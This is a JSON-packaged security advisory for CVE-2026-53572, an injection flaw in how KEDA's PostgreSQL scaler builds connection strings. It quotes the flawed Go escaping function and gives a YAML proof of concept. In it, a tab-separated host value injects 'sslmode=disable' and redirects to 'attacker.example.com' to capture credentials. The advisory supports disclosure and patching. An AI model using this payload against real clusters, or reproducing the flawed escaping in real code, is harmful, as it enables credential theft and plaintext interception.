{"id":"CVE-2026-53572","aliases":["GHSA-6w3m-4hhp-775q","GO-2026-5940"],"title":"KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping","summary":"KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping","severity":"medium","cvss":5.9,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","vendor":"kedacore","product":"github.com/kedacore/keda/v2","ecosystem":"go","affected":["github.com/kedacore/keda/v2 < 2.20.0"],"patched":["github.com/kedacore/keda/v2 2.20.0"],"published":"2026-07-07","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:50:51.454382163Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-6w3m-4hhp-775q","references":[{"url":"https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q"},{"url":"https://github.com/kedacore/keda"},{"url":"https://github.com/advisories/GHSA-6w3m-4hhp-775q"}],"tags":["osv","go","ghsa"],"epss":0.00319,"epssPercentile":0.25082,"cwe":["CWE-74","CWE-89"],"ingestedAt":"2026-07-08T00:44:25.704Z","slug":"CVE-2026-53572","body":"## Overview\n\n### Summary\n`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:\n```go\nfunc escapePostgreConnectionParameter(str string) string {\n    if !strings.Contains(str, \" \") {\n        return str       // returned as-is for any non-space whitespace\n    }\n    str = strings.ReplaceAll(str, \"'\", \"\\\\'\")\n    return fmt.Sprintf(\"'%s'\", str)\n}\n```\nThe function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\\tsslmode=disable\\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.\n\n### Vulnerable code\n`pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257.\n\n### Impact\nTenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:\n- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.\n- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword.\n- Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior.\n\nNote: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target.\n\n### Proof of concept\n```yaml\ntriggers:\n- type: postgresql\n  metadata:\n    host: \"legit.db.svc\\tsslmode=disable\\thost=attacker.example.com\"\n    port: \"5432\"\n    userName: \"keda\"\n    dbName: \"metrics\"\n    sslmode: \"require\"\n    query: \"SELECT 1\"\n```\nAfter `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`.\n\n### Suggested fix\n- Escape / reject any ASCII whitespace (`\\t`, `\\n`, `\\r`, `\\f`, `\\v`, space) and backslash.\n- Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding.\n- Validate each field against an allow-list pattern before use.\n\n### Resources\n- `pkg/scalers/postgresql_scaler.go`\n- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING\n\n## Affected packages\n\n- `github.com/kedacore/keda/v2 < 2.20.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/kedacore/keda/v2 2.20.0`","depth":"sunlit","depthScore":33,"depthScoreParts":{"impact":32.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}